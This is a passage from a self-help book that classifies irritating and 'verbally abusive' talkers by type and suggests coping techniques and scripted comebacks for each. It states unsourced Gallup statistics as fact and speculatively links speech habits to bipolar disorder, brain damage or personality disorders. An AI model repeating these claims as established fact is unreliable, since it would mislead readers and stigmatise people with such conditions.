hair standing up on the back of your neck whenever you hear them speak. That voice might even stop you in
your tracks.
If you are the one cringing, it is rather awkward to tell them to cool it and to grow up, unless you are very close
to them or related to them and, thus, used to speaking boldly and bluntly to them.
Short of telling them to grow up or to shut up, you might just want to Breathe Them Out and Unplug. If you
don't have to be around them, don't be. Try to get away from them every chance possible, before you say
something you might regret or something that will probably make them cry. Since those who possess this voice
quality are often exaggerations or cartoonish caricatures of stereotypic female roles, this expression of
emotional behavior might occur.
Your best bet is to breathe them out! If you keep hearing their miserable tones resonating in your heads at a
later date or time throughout the day, employ the “Stop the Thought!” Technique immediately! Both tactics
will reduce your blood pressure and calm you down.
On the other hand, if you have nothing to lose and you don't care whether you will alienate them, perhaps for
good, go ahead and use the Mirroring Technique, where you actually imitate or mirror back the way they are
coming across. In essence, you are mocking them. Sometimes, they might be good-natured about it and laugh
as they know that they sound that way. They like that they sound that way and they want to keep sounding that
way. On the other hand, they might still be laughing with you, but crying inside. They might have always been
made fun of and your cut is deep. You might have really hurt them and caused them more emotional damage.
Other times, they might become serious and say that they hate the sound of their voice. Since you do too, and
assume that others do as well, do them a favor and suggest that they see someone to help them improve their
voice.
Besides the Mirror Technique, you might just want to directly shoot from the hip and use the Direct
Confrontation Technique. The following “Talk Back!” section gives you an example of how to tell them they
need help with their voice.
Page 221
Talk Back
Gary: I don't mean to offend you in any way, but I think that it might be in your
best interest to improve the sound of your voice.
Sherry: I hate my voice. Some people tell me it's cute, but I can't stand it.
Gary: I know that you can get help with it from a licensed speech pathologist
who specializes in helping you with your voice.
Sherry: Really? Where do I find one?
Gary: Look in the Yellow Pages or ask an ear, nose, and throat doctor, but it's
important to see only a speech pathologist who specializes in treating the voice.
I'll even see if I can get you some names.
Where to Direct a Person with an Annoying Voice
What I am about to say is extremely important, so read carefully! Specifically, do not recommend that they see
a singing teacher, but rather that they see a licensed and qualified speech pathologist. And it is not enough for
them to see just any speech pathologist. They must see only a speech pathologist who specializes in and has
extensive and ongoing experience with patients who have voice problems. Otherwise, you are opening yourself
up to possible further problems, or no improvement at all, by treatment from someone who might not be very
well educated or trained. If your therapist is competent, you should see results in three months. If you don't,
quit immediately!
In order to find such a speech pathologist, consult with a qualified otolaryngologist. You might want them to
examine your vocal cords to see whether any medical problems exist. If so, your private health insurance or
HMO can often cover the speech therapy treatment program, depending on your policy. If the doctor finds
nothing wrong with you, see the speech pathologist anyway. Tell the pathologist that your health insurance
won't cover treatment because the doctor found no medical condition, and that you would appreciate their
working with you financially and, perhaps, providing you with a lower rate. Any decent therapist (or human
being, for that matter) will usually accommodate you, since treatment is often costly.
Another way to find a speech pathologist who specializes in voice disorders is to look in the phone book! It's a
great place. And whether you look in the phone book, get a name from a physician, or a friend refers you, ask
questions!

Page 222
Ask these questions before seeing any speech pathologist:
1. What kind of patients do you mostly see in your practice?
2. What is the largest percentage of people you see with that condition?
3. How many speech and voice patients have you seen over the past year?
4. How do people usually find out about you?
5. What is the average length of time you treat a patient?
6. What kinds of techniques do you normally use?
7. Where were you trained? What degree do you have? Are you licensed?
8. Do you take insurance if a doctor refers me due to a medical problem?
The Monotonous Drone.
You, along with 75 percent of the population, can't stomach listening to someone who puts you to sleep when
you are not sleepy. This monotonous voice is the number one killer of interpersonal relationships between men
and women. So much of the meaning of what the person wants to communicate is lost in the communication
when there is a lack of vocal excitement. They are so confusing because you really never know where you
stand with them. You don't know whether they like you, whether you have done something wrong, or whether
they are pleased or angry about something.
People who sound boring and monotonous usually don't mean to be. Often, they live in fear. They are
emotionally repressed. They might have come from a family where it was considered bad to express
themselves with unbridled emotion, and so they were conditioned to act in a more controlled manner.
Unfortunately, the results of their upbringing turned out to be deleterious to their communicative abilities with
others. It ruined many intimate relationships by helping to create misunderstandings. It both confused and
frustrated the person with whom they were having the relationship, which often resulted in a sad ending.
You need to keep checking in with the Monotonous Drone. Keep asking them questions to see where they are
coming from—how they are thinking and what they are feeling. Don't be afraid to ask them about their
feelings. Use the direct confrontation to share your feelings with them. If you're doing business with them, also
check in with how they are feeling about a particular issue.
Unless you are super close to them—you've been intimate, are best friends, or are close family—you might
want to suggest that they get into either a speech or regular counseling program to help them express
themselves. Let them know you are not criticizing them.
Page 223
Gingerly, speak to them in a loving and delicate manner. After all, they are sensitive, and they do tend to keep a
lot inside. Make it safe and comfortable for them. Let them know that you are in no way judging them, nor do
you think less of them.
The Fast Talker
These people are also very frustrating to be around; they placed in the top ten of the Gallup poll's most
annoying people. Like the Sonic Boomers, they often don't even realize they talk so fast. Like the Mumblers,
they become quite frustrated because they are constantly asked to repeat things over and over again.
The Fast Talkers are often angry and frightened people. They, like the mumbler, suffer from a lowered sense of
self-worth. They apparently don't feel worthy enough to have the other person take the time to listen to them,
so they hurry up and get it over with. They might also be highly neurotic people or suffer from bipolar disorder
that makes them always in a hurry and on the go. Because they usually don't even realize what they are doing,
don't ever abruptly tell a Fast Talker to “slow down” in an agitated manner. Because of their often lowered
sense of self, they are likely to get defensive and shut down. They might even begin to resent you. Unless you
use the Love and Kindness approach with them, you can forget about ever understanding them again. They will
continue to speed through sentences, leaving you in their wake, and not caring whether you understand them or
not. The Fast Talker is more hostile than the Mumbler, who is more concerned about whether you understand
him.
You can try to keep up with the fast talker by listening intently. But this is sometimes nearly impossible to do.
Therefore, consider using the polite Love and Kindness approach used with the Mumbler, but use more of it,
since they are more hostile. Put the blame on yourself. Don't blame them. Let them know that you are having a
hard time concentrating today and that they can really help you out if could talk a little slower. If they are a
more receptive type of Fast Talker, you might want to use the identical approach that you used on the
Mumbler. Let them know that you have no intention of offending and that you read a book (this one) that
suggested that for people to better understand others, it is best that the speaker draw out each vowel for
approximately one second. This usually works, especially if it is said diplomatically and respectfully.
Name-Dropper
How annoying it is to sit through a conversation and hear about this person and that person and what they said
to do and what they did to you. The people don't necessarily have to be top celebrities. They can also be
prominent people within your community. Name-dropping also includes always bringing up family members
(such as, “My wife said this,” “My son did this,” “My husband said that.”). Who the heck cares what they said
and think? We care about what you said and think. Are you brainless? Do you always need other people's
opinions or words to function?
Page 224
Certainly, once in a while it is good to hear a comment from someone else as it pertains to a particular topic
being discussed, but a steady diet of it is beyond annoying—it is obnoxious. People find this so odious that
they will turn against you at the drop of a hat.
Many people name drop because they have nothing going for them on their own, so they have to ride on
someone else's coattails in order to feel important! Even if they seem to be important by other people's
standards, they might not feel so important deep down inside. Therefore, they have to resort to such annoying
behavior.
Because they are insecure, you might just want to Breathe Them Out and let them get their jollies dropping all
the names they want all over the place. Even though you and everyone else thinks they are obnoxious, let them
feel that they are important.
Try to look at the situation as amusing and entertaining rather than getting mad and annoyed. They might think
they are being snobby or trying to come across better than you by letting you know all the important people
they know, but in reality, they are screaming out how very insecure and empty they are. So have pity. Be
compassionate. Give them love and kindness, and remember to breathe out any tension they might still cause
you, despite your efforts to be compassionate.
The Know-It-All
The Know-It-All is very much like the Name-Dropper: both have a great need to show off and feel important.
They both need an audience and need others to think that they are in some way superior. Instead of trying to
impress you with the important people they know, they try to impress you with the important information they
know. In reality, they are feeling inferior and insecure about themselves. They might indeed know a lot and
have a great deal of information at their disposal.

Page 225
However, there is certainly one thing they don't know about, and that is how to deal with other people. They
tend to talk at you, not with you.
Blow and let them go. They need the attention more than you need to be right, so let them impress themselves
with how much they know. In essence, let them talk to themselves. Don't take what they say to heart. Just use
the Tension Blowout Technique to let out any of your excess frustration. Often, similar to the case of the
Name-Dropper, the more they feel attended to and appreciated, the less they will have to prove themselves and
the less reason they will have to show off.
Therefore, the Love and Kindness Technique might put a stop to their annoying actions quicker than ever.
SlangGangers.
While, as we discussed earlier in this book, it might be appropriate to use slang or even four-letter words in
some social circles, it is most annoying when used out of context. It is met with a great deal of disdain when
used away from the group where it is accepted as the norm.
Besides cursing, the SlangGanger's speech is consistently peppered with “like,” “um,” “ya know,” “know what
I mean,” and “man.” It also contains poor grammar, mispronounced words, and a whole host of made-up words
constituting an entirely new language.
If you are on SlangGanger's turf, if you don't know what certain words mean, ask them. Better yet, as soon as
you know that you will be around them, try to find out from someone who is familiar with their slang and way
of speaking what certain words mean. Like speaking in a true second language, you will relate to them much
better if you incorporate some of their terminology into your own speech pattern. Take care, however, that you
don't use the words in the wrong context. Doing so will only embarrass you.
Don't correct their poor grammar or their use of filler words, since this is part of the accepted lingo.
On the other hand, if they are on your territory, it becomes a different matter. You have the right to establish
communication ground rules on your turf, just as they did in theirs. It's the old concept of “when in Rome, do
as the Romans do.” Be strongly advised, however, that you must never embarrass the SlangGanger, especially
in front of others. This is demeaning and puts them on the defensive. They might rebel, clam up, or lash out at
you verbally, and in certain cases even physically. They will become extremely angry at you, and from their
perspective rightfully so. You have insulted who they are. You have disrespected them! When you have a
private moment with the SlangGanger, let him know, in a calm and collected, unemotional manner, while
smiling, that you would prefer it if he would modify his words in front of you. In essence, you are using the
Direct Approach in a calm manner. You might also want to incorporate the Humor Technique and make light
of the situation in order to help him get the message.
Page 226
Conversation Hogs
The Conversation Hog or Interrupter types of verbal abusers are absolutely, without a doubt, the number-one
most annoying type of person. According to a Gallup Poll, close to 90 percent of respondents could not stand a
person who interrupted them. They tolerate this offensive behavior less than any other. If someone interrupts
you, they're keeping you from finishing your thoughts, which will undoubtedly frustrate you and cause you to
either clam up or lash out. Perhaps some of the biggest arguments you had were when you were put on the
defensive because you kept being interrupted. Someone who constantly interrupts you is a major control freak.
They are so insecure that they always have to have the floor. They always have to have the attention.
A sub-category of the Conversation Hogs are the Topic-Changers, who will not hesitate to change the topic of
the conversation midstream. They disrupt both your and their own train of thought. Both types of verbal
abusers are into controlling others and situations.
Be direct! They might not hear you because they are often so self-absorbed! You might have to tap them or
have light physical contact so you get their attention.
Tell them that you are not finished talking yet. First, do it politely with a smile. If it doesn't work, do it louder.
Give 'Em Hell and Yell! You also have the option of Mirroring them as you talk over their interruptions.
Whatever the case, it is not only frustrating, but exhausting. Be careful knowing “before whom you stand”
before you do the last three techniques. If you want to maintain your dignity, Unplug for the moment and
interrupt them by calmly excusing yourself. This way, they will have nobody to interrupt! Let them know that
they cannot take over the reins and always be in verbal control.
Repeat, Repeating, Repeaters
In this case, I am not talking about people with speech impediments who stutter, have a neurological condition,
or have Alzheimer's. Instead, I am talking about people who seem to enjoy hearing themselves talk. They say
the same thing over and over again. They not only tell you the same story or joke, they tell everyone else, too!
Often they repeat the same story because they want more feedback from you or they want to vent their
emotions, or they want to relive the situation. No matter what the reason, it is annoying and you feel like
running away!
Since these people are usually quite insecure or emotionally distraught, or perhaps they suffer from some form
of brain damage, have some compassion! If you are feeling impatient with them, use the Breathing Technique
to calm yourself down. Primarily

Page 227
give them Love and Kindness. If you find that they have really overstepped their bounds and overstayed their
welcome, politely and kindly tell them that you heard the story before. Unplug for the moment by either
changing the topic or by physically leaving the present environment. By leaving to go to the bathroom and
returning, you might get them off the repetition tract.
Wordy Ones
Like the Know-It-All, the Wordy Ones are out to impress. They try to use big words to show off and are
extremely verbose. They say a mouthful when they can just say a biteful. In their insecurity, they attempt to
reflect a “better than you” or a “snobby” attitude, when in reality they are screaming out in emotional pain.
They hunger for social acceptance and want to appear smart. They have the illusion that people perceive them
as being smart, and that they will therefore be treated with more respect.
Just as you would do with the Slangmaster, if you don't know what a word means, Ask! If they are too wordy,
you might want to stop them and use the Calm Questioning Technique. Ask “What's the bottom line?” If they
keep being wordy throughout the conversation, keep asking what the bottom line is. Without their knowledge,
you are conditioning them. Remember the experiment in Psychology 101 about Pavlov's dog? It's the same
thing! When you ask them the bottom line, do it with Love and Kindness because of their need to be accepted,
even though it might not seem like it at the time.
The Whiner
Unless it's actress Fran Drescher (my ex-client and dear friend), star of The Nanny who makes tons of money
because of her nasal voice, people will cringe around those who sound nasal. Nearly 70 percent of those
questioned in a Gallup poll said that they were turned off by the sound of this type of voice. Other research
shows that when someone sounds nasal, they aren't taken as seriously and aren't considered to be as attractive
and intelligent as those with non-nasal sounding tones.
I'm not talking about people who sound nasal because of a neurological condition or birth defect.
Page 228
Instead, I am talking about those who sound nasal because they have sloppy speech and don't open their
mouths when they speak. In that way, they are similar to the Mumbler. They don't realize how their poor
speaking habits negatively affect those who listen to them.
If you're one of those unlucky souls who is forced to listen to a Whiner, especially for a long time, it is best to
use the Direct Confrontation Technique coupled with the Calm Questioning Technique. Do this as gently and
politely as you can, while incorporating the Love and Kindness Technique, as difficult as that might seem. You
might want to start out by saying to them that their voice sounds rather nasal. Then ask them the question, “Do
you have a cold?” If they say no, which they probably will, ask whether they have allergies. If they say no, go
back to the Direct Confront Technique and say that you don't mean to be offensive but their voice really sounds
nasal. Say this in a polite tone, as gently as possible.
Now don't just leave them standing there. Give them something to help them. If you've criticized them, offer
them a solution. Tell them that you read in a book (this one) that when people have nasal sounding voices
(which many people have) your back teeth should never touch when you speak. This helps you keep your
mouth more open, so you won't sound as nasal. Tell them you tried it and it worked! If they tell you they too
hate the sound of their nasal sound, refer them to a speech pathologist using the method I taught you earlier in
this chapter.
Page 229
Chapter 18
Verbal Combat Against Painful Verbal Abusers
In this chapter, you learn how to use a variety of the most effective strategies against the eight types of painful
verbal abusers who may infest your life. You learn about the weapons that best deflect their repulsive verbal
goo. The verbal abuser may often require somewhat stronger approaches than those you used in Chapter 17.
Verbal Abuse Can Actually Make You Nauseous!
Unlike the annoying verbal vermin, who mostly irritate you, the painful verbal abusers mostly anger you and
cause you extreme emotional upset. Different degrees of emotional upset can bring out the worst in you and
cause you to react in ways alien to your normal behavior. Although you are usually not pushed over the edge—
to the point of no return—the verbal abuser could be the one to finally push you there!
Page 230
Their abuse can embarrass you. It can frustrate you. It can confuse you. These people can make you feel
suspicious and untrusting of others. In essence, they can make you feel sick to your stomach. They can even
cause you to feel nauseous and on the verge of throwing up!
Although they are definitely toxic, they are usually not toxic enough to cause havoc in your life, hurt you, or
attempt to destroy you like the dangerous verbal abusers will. In the Chapter 19, we will learn what
ammunition to use to protect ourselves against those verbal enemies. For now, let's focus on the opponent at
hand—the painful verbal abuser.
The Verbally Dead
They are verbally cold and secretive. They rarely if ever divulge information about themselves. They just
gather information. They don't give you any vocal reaction one way or the other, so you find them very
difficult to read. You don't know how they really feel about something—if they really like something or can't
stand it. Their reaction is the same in either case.
Initially, one might be attracted to them. Women in particular might fall prey to the stereotypic “strong but
silent type” of man—the John Wayne type, the man of few words. What they fail to realize and soon come to
discover is that you can't have an open and meaningful relationship with anyone who doesn't talk to you. It's
not going to cut it with someone whose conversations consists of “yep,” “nope,” “I don't know,” “maybe,” “I
guess,” or “I don't care.” This is not the case for men only. There are women who are The Verbally Dead as
well. No matter what their sex, they always keep you off guard.
They may not be indifferent, and they may really care, deep down inside. The fact that they are so inexpressive,
however, makes you think they don't like you, that they are judging you and being critical of you. It makes you
think that they are indifferent about you. They don't care if you live or die.
Some of The Verbally Dead use their silence to try to manipulate you or even intimidate you. They derive a
great deal of pleasure out of watching you behaving uncomfortably and squirming around their silence. In
essence they are using their “iced state” as sort of a power trip to see how long you can actually “chill out.”
When they become more talkative and share their thoughts and feelings, then they begin to feel uncomfortable.
The reason is that they feel out of control—as though they have lost their power over you! Their perceived
power lies in keeping you guessing and wondering what is going on inside of them.
The bottom line with these of The Verbally Dead is that you can never change them and force them to open up.
They have to want to open up on their own.

Page 231
The one thing you cannot do is to demand that they show some emotion in their voice and sound more
animated. Doing this will make them clam up even more. Though you feel like choking them and screaming
your head off at them, neither physical violence nor using the “Give 'Em Hell and Yell” strategy will make a
difference.
Two tactics seem to work best with the Verbal Refrigerator. No matter how angry or frustrated you feel at
them, force yourself to use the Love and Kindness Technique. They desperately hunger for it. Most of The
Verbally Dead are that way because of some deep-rooted psychological problem. Most of these psychological
problems developed in childhood, where the people might have been so emotionally scarred or traumatized that
they clammed up! They may have done this as a psychological survival mechanism. Unfortunately, they may
have carried this now-unnecessary protective gear into their adult years, which makes for some huge
complications in human relationships. Therefore, accepting them through this technique makes them feel safer
and more apt to trust you and thereby open up to you.
The Calm Questioning Technique also works very well, but you have to know when to back off. You can't fire
a series of machine gun-like questions at the Verbally Dead. You have to ask them slowly and wait for an
answer. Be quiet. Be silent! Wait for them to talk! Consciously or not, they may be using this as a ploy to test
you. Let them talk. Ask open-ended questions about what they think about a topic or issue. Ask questions that
do not require a “yes,” “no,” or one-word answer. Use the Elaboration Technique you learned about earlier in
this book when learning how to develop you own conversational skills. Just keep asking them questions, and
make sure that you ask in calm, warm, soothing tones.
Verbal Vomiters
People in this category are not fully aware of what they are saying to you. In fact, they speak in a free-flowing
stream of consciousness that often makes little or no sense. They are often thoughtless and rarely think before
they speak. They tell all! And I mean ALL!!! While it may be amusing and even titillating and interesting at
first, after a while they end up telling you things you really don't want to know. The information is all too often
inappropriate and way too personal. People who reveal too much information not only tell you their intimacies
and problems, they tell everyone else with whom they come in contact—from their bosses to their colleagues to
anyone who will listen. They don't discriminate. They won't think twice about telling a perfect stranger their
life story. They have no boundaries. Anyone and everything is fair game. They also have an incredibly difficult
time keeping secrets.
Page 232
As long as someone will listen, they will talk—often non-stop. These chatterboxes are so hungry for attention
they will say just about anything to get it.
If there were a TA (Talkaholics Anonymous) group, the first thing I would recommend would be to encourage
them to attend meetings on a regular basis. However, since it does not exist yet, the following techniques can
be as helpful to you as they have been to so many others who have been exposed to verbal abusers.
You must never tell these people anything you wouldn't want anyone else to know. Therefore, think before you
speak to them. As talkaholics, they need material to talk about. What better material than that which someone
else told them? It doesn't matter if that “someone else” is you and you swore them to secrecy. Chances are that
they were so self-absorbed, they didn't remember that you told them not to tell anyone what you just divulged.
So, don't be as unconscious as they are. Know before whom you are talking.
If you can somehow get their attention, the Direct Confrontation strategy can be most effective when it is
coupled with the Love and Kindness tactic. Tell them how much you care about them (if you do) and that you
are not there to criticize them, but you want to tell them something that can perhaps help them. Point out to
them that sometimes they might talk a bit too much and say things that are rather inappropriate; that maybe
they should monitor what they say better.
If they ignore your efforts and continue on their merry chatty way, in order to keep your sanity, just use the
Tension Blowout Strategy so that listening to their stupid unconscious verbal diarrhea won't make you want to
rip your own hair out.
Sugary Sweet Phonies
These people tend to be so phony that they can make you sick. These sneaky brown-nosers will stab you in the
back every time. They manipulate and flatter to death just to get their way.
They may sing your praises and lavish you with all kinds of verbal gifts—sweet words and compliments. When
you attempt to assuage their flattery or shrug it off, they will have none of it. They keep insisting that they
mean what they say. That you really are “all that.” They won't let up until they see that smile across your face
staying there. They got you! They got you hooked! Congratulations! You have been manipulated. They are
either after
Page 233
something you have, something that you can give them (even the prestige of being associated with you), or
even a contact you may have who could somehow help them. Watch what happens when they don't get what
they want! Suddenly the sweet words either stop or turn sour.
Humor is the best strategy to use with these verbal candies. This lets you know that you are onto them and that
you aren't buying their manipulative ways. Another approach is the Direct Confrontation approach, but always
in a lighthearted way, in which you let them know that you appreciate their kind words, but you aren't buying
it. For example, you can say “Okay, now that you've buttered me up, what is it that you really want?” With this
approach as with the humor tactic, they will usually realize that you are onto them and back off. Keep smiling.
Laugh it off. They'll get the message.
Talk Back
Here are some light-hearted things you can say to sugary sweet phony people to
let them know you are on to them.
“You know, I could probably go into insulin shock if you keep that up!”
“Watch it! If you say anymore of those sweet words, there will be an army of
ants marching all over me.”
Poor-Poor Me.
These people are so difficult to be around because their often-sad words, sounds, and phrases bring you down.
Their favorite party is a pity party. They love others to “poor poor” them to death. It is like marrow to their
bones, fuel to their system. This makes them feel worthy, alive, that someone cares about them. They are so
needy for attention and affection that they use depression and illness as a means of getting it.
If their verbal sadness is issue-related or happens at certain times, there is no problem. But if it happens a lot,
you are dealing with someone who may have a serious mental condition—an acute depression, bipolar
disorder, or borderline personality disorder.
One of the things you can't do is cheer them up. Deep inside, they get off on spreading gloom and doom.
Because they do it for effect, in order to get a reaction out of people, they obviously need attention and
affection. The best approach is to use the Love and Kindness approach; acknowledge that they are hurting or
are upset and let them know that you hear them and understand what they are saying—that you empathize how
they must be feeling.

Page 234
They do not want you to solve their problem. They do not want to hear a list of your brilliant ideas. The fact
that you said you can understand that they feel bad is what they need to hear. If you offer advice, they will
“yeah but” you to death. So, the key here is to give them no reaction—especially no pity.
If their verbal sadness is sporadic or situationally related, then you can stick around and do the Tension
Blowouts so that their negative energy doesn't glom on to you. On the other hand, since they require so much
work and are so draining, being around them for long periods of time may be debilitating. You might have to
Unplug from them, no matter who they are in your life. If you can't unplug physically, you might want to do it
mentally.
“Fibbers”
Sometimes these “Fibbers” are so caught up in their own lies or stories that they themselves lose track of
whether they are telling the truth. They are the ultimate verbal manipulators and usually lie to protect
themselves so that they can either get out of something or into something. Sometimes liars are blatant about it
and exaggerate highly. Other times, they are subtle. Sometimes their manipulative stories are harmful, not only
to themselves but to others. But the majority of the time, their stories are meant to enhance their poor image,
persona, and self-esteem. No matter what they do, their self-worth has a huge hole in it.
The story they have told and how you perceive it decides what strategy you should use. Depending on who
they are in your life, you may want to use the Direct Confront Technique or the Calm Questioning Technique
to let them know that you are no dummy, that you know they have been lying, and that perhaps they have an
explanation. This technique allows for open channels in communication. It is essential for you to remember,
however, that you must always keep your cool. Breathe, breathe, breathe.
You might want to consider using Tension Blowouts. Use humor, even if it's only funny to you. Let it blow and
let it go!
*%#&@ Cussers!
Some people don't mind others who curse—in fact, they may like it a lot, as they may feel a closer bond to the
person, especially if they too curse. In many instances, some curse words don't have the same negative or
shocking charge as they once did. In fact, they are commonplace. However, in most aspects of society, people
don't approve of cursing. That is why there are movie ratings available for parents who may not want their
children to hear films with verbal vulgarities. A Gallup poll showed that out of 10 annoying speech habits,
using curse words was the second most annoying habit.

Page 235
Often people who curse want to sound tough or appear “cool,” “hip,” and “with it.” They are not necessarily
bad people. They are just desperate for acceptance and want to portray a certain image. As mentioned earlier in
the book, sometimes that image works in one area of society and not in others. If a “cusser” is in your area of
society and you don't like it, here's what you can do!
If the cusser is related to you, you have more of an opportunity to use the Direct Approach Technique. If the
cusser is your child, you have even more leeway, because you have access to the “Give 'Em Hell and Yell”
Technique. This of course is a technique of last resort, used when your child doesn't get the message through
Love and Kindness, Direct Confrontation, Calm Questioning, or Humor. Then and only then would it be
recommended to Give 'Em Hell and Yell as a final option.
If the person is not related to you but is close, use the Direct Approach Technique. However, it is imperative to
let them know in a lighthearted, matter-of-fact manner that you don't like cursing. Don't chastise them like a
schoolteacher or reprimand them. That will definitely drive a wedge into your friendship. Let them know in
non-threatening, non-judging, easy language that it sounds better to you when they don't curse.
You see, since they mostly curse in order to appear cool and to be accepted as part of the group or scene, help
them feel part of the scene through a Love and Kindness tactic. Let them know that they are “way cool” in your
scene when they don't curse.
After all, they are the ones who need the most acceptance, so accept them with Love and Kindness by saying
“You really sound better” or “you have a better image” or “you come across cooler” when you don't talk like
that. You know what I mean?” And then smile. You may even want to put your arm around them or hug them
for assurance, depending on how close they are to you. The one thing to remember is not to talk down to them
or reprimand them for cursing. Do it using the suggestions I just listed, so that they will actually listen to you.
Me, Me, Me
I am not talking about the “me me me” that a singer signs when doing vocal warm-up exercises. Instead, I am
talking about the self-consumed narcissistic person who can't see past the mirror. These poor souls are so
insecure, they need constant approval from the mirror, and from everyone around them, including YOU! They
are always seeking someone to say how great they are. They always talk about their favorite subject—
themselves. Heaven forbid you try to bring up another topic—they will somehow manipulate the topic so that it
applies to them. And voilà, you are now back discussing
Page 236
the only thing they can relate to—themselves! Even if you are discussing a world crisis, somehow they will
manage to manipulate the conversation to bring it back to them.
The me me me crowd will go for hours and hours talking about themselves without even considering you or
asking you any questions about what your thoughts are on a particular matter. They are self-consumed in every
way.
Even though you may not realize it, these tortured souls suffer greatly. They are not self-absorbed because they
want to be; they are self-absorbed because they have to be.
Even though their self-absorption may test your patience, you need to have compassion for them. The most
effective technique to start with is the Tension Blowout Technique, where you let go of any tension you feel
when you are around them. Next, give them a dose of Love and Kindness, followed by Directly Confronting
them in a calm yet controlled tone. Never accuse them, because this puts them on the defensive.
In talking to this narcissistic type of person, you need to say something like “You can make me feel a lot more
welcome in the conversation if you ask me some questions about myself.” In addition, you can ask them what
they think of your opinion. Since everything pertains to them and since they hear things only in terms of what
effect they have on others, they will most likely accommodate you and heed your request, and thereby change
their behavior. Why? Because you have given them the power—power they require so badly as part of their
self-worth, to help you. You have spoken to them in their language—THEM!
The Anointed One Has Spoken!
These verbal abusers tend to underestimate others or blow off and tune out what anyone else says. They
consider it irrelevant. What is relevant is only what they say! They are know-it-alls who often use their
knowledge as a defense mechanism to overcome their insecurity. They feel that they have spoken, and so be it!
Even if they have little or no knowledge about a subject, it doesn't matter. They have convinced themselves that
they know anyway. They have a false sense of self-aggrandizement, which they mask by their rigidity,
judgment, and verbal arrogance. The basis for this is usually fear.
This is why they are so adamant that they should be heard and that their point of view is the only point of view.
Usually, they say things that indicate that they are extremely self-righteous or use a holier-than-thou tone. In
reality, it is quite the opposite.

Page 237
They are making such a fuss because they are trying to justify their hypocrisy. They feel guilty about their
misdeeds. They know that deep inside, what they have said is nonsense. They know that they aren't “talking the
talk.” Therefore, they have to scream louder, not only so that they can convince you, but so they can convince
themselves.
As we have seen time after time, especially from our experiences, those who constantly banter about how
things should be, how moral and righteous they are and how bad others are for not accepting their ways of
thinking, often don't practice what they preach! Those who claim self-righteous purity are often not as pure in
thought and deed as they portray themselves. Perhaps they subconsciously believe that the more they
pontificate, the more their verbal demons will disappear, so that what they say will be true after all.
These people should know that they need to get off their pedestal—that others too have valid opinions. Usually
the Calm Questioning Approach isn't as effective as the Direct Approach combined with the Give 'Em Hell and
Yell (if necessary).
When I am talking about giving them hell and yelling, I actually mean talking louder than they do. As they
robotically cite their doctrine, cite yours over theirs. Since they think that they are so anointed, they will
usually be so shocked by your audacity to speak over them that they will stop. When they stop speaking,
continue to speak in a confident, audible, and resonant tone so that they can hear what you are saying to them,
in hopes that at least a few points that you are trying to make will permeate their suit of “superior” armor.
If that doesn't work, depending who they are in your life, you may want to use the Tension Blowout Technique
to blow out your anger toward them. If nothing works, blow them out of your life for good—Unplug them! It is
way too exhausting and debilitating to try to communicate with someone who tunes you out, underestimates
you, and believes their doctrine or point of view is the only one. It is a no-win situation to try to communicate
with someone who has no respect for whatever you say or who says to you “It's my way or the highway.” You
need to retort with “Hit the road, Jack!”
Page 238
Page 239
Chapter 19
Verbal Combat Against Dangerous Verbal Abusers
The information in this chapter can literally save your life! The verbal abusers you'll read about here are scary.
They are the most toxic people, and the ones who have to be most closely watched. Whenever you are around
them, you not only have to look in front of you to know that they are there (which is obvious). You also have to
look to the right, to the left, and in back of you. They can come out of nowhere. You must be on your toes at all
times.
These people can make you the sickest—mentally, emotionally, and even physically. They represent
everything bad. They make you feel absolutely horrible about yourself. They are the ones to cause you so much
grief that your life is always in turmoil. Should you be so unfortunate that you happen to be around them for
any length of time, realize that they can erode your self-confidence to the point where psychologically you feel
lower than a snake's belly.
Proceed With Extreme Caution!
As I discussed earlier in the book, when you ask most people what they would do if they were in the presence
of a severely verbally toxic person, many naively say they would walk away. You can't simply walk away. If
you do so, you will be walking away with hurt and pain. You will still need to cope with the havoc that they
cause or else
Page 240
you will be carrying their verbal wrath for years to come. In this chapter, you first learn specific characteristics
of these dangerous people. Then you will learn the most effective strategies to use with the most severe types to
shield yourself from their verbal poisons. You will learn what to say and how to say it.
You have a number of choices for verbally responding to these dangerous people. In many instances, you will
be given some snappy comebacks from which to choose, if the situation warrants it. No matter which strategy
you use with a particular person, choose carefully. Just trust your instincts—you are almost always right!
Lambs to Lions
These are the most passive-aggressive and the most dangerous of all the verbal abusers because you really
never know where they are coming from. They are meek and delicate sounding, often using high-pitched
voices when they do communicate. But most often, they are non-communicative. They harbor extreme inner
rage and are often jealous—even though they may smile and act as though they are supportive. They are
walking time bombs, because you never know when they are going to blow up at you. They harbor resentment
and swallow perceived hurt feelings, slights, verbal cuts, and injustices they feel are done to themselves or to
others. And then one day, BOOM! A volcano of verbal violence explodes, often complete with yelling, insults,
and blaming. Needless to say, this is not only shocking, it is frightening as well, because you don't know what
they are going to do next.
Always keep abreast of what is going on with them. Constantly check in when they are in conversation with
you. Do this only if you have no choice and must have them in your life due to business- or family-related
matters. Use the Calm Questioning Technique, requiring more than just a yes or no answer.
However, the ideal situation is to run for your life! If you ever experience the wrath of a Lamb to Lion, never
experience it again! It is best to Unplug forever!
Control Freaks
These people have to control others because they are so out-of-control themselves. They are abusive and hostile
and often walk around with a chip on their shoulder, especially if they don't get their way. The other extreme is
that they will lose interest and do nothing if they don't get their way. They are invasive, tenacious, stubborn,
not team players, and have difficulty delegating responsibility. They also have difficulty with authority figures.
They feel that they must orchestrate every move, instead of letting things happen.

Page 241
They force issues and often drive former allies away from them. When things do not go their way, they get
more manipulative and angry, because they are so out of control. They are the type of person who punches
holes in walls when they don't get their way.
Parents who are control freaks can ruin their children's lives, making them spend a lot of time on the
psychiatrist's couch in their adult years.
Humor is often a great antidote because if you didn't laugh, you would surely cry. You may use humor to “call
their bluff.” The following “Talk Back!” section has some good snappy comebacks to use with a Control
Freak. Keep in mind, however, that there is a 50/50 chance that they can become even more violent if you say
these things to them. So if you can give it a try and you are willing to take a chance, go for it!
You may want to Directly Confront them by letting them know that they overstepped their bounds and that
they simply cannot control you in the manner that they are presently exhibiting. You need to let them know in a
calm manner how you prefer to be treated and that you need to be respected. You need to tell them that your
opinions matter and that they cannot speak to you or treat you the way they have been doing.
As I said earlier, Control Freaks often back down after they get a taste of their own medicine. Therefore, the
Mirror Technique may work wonders. However, once again, depending upon who they are in your life and how
instrumental they are to your livelihood (such as a boss), you may have to think twice about using this strategy.
If nothing works, you have no choice but to Unplug, especially if their actions are affecting your health. It may
not be worth the money or the aggravation to you! Your mental and physical state are more important than
anything else in the world!
Backstabbing Enviers
First and foremost, know that “jealousy is the root of all evil.” It causes people to have bad feelings, and to say
and feel bad things towards others. If the jealousy continues, it turns to envy, which is a more severe form of
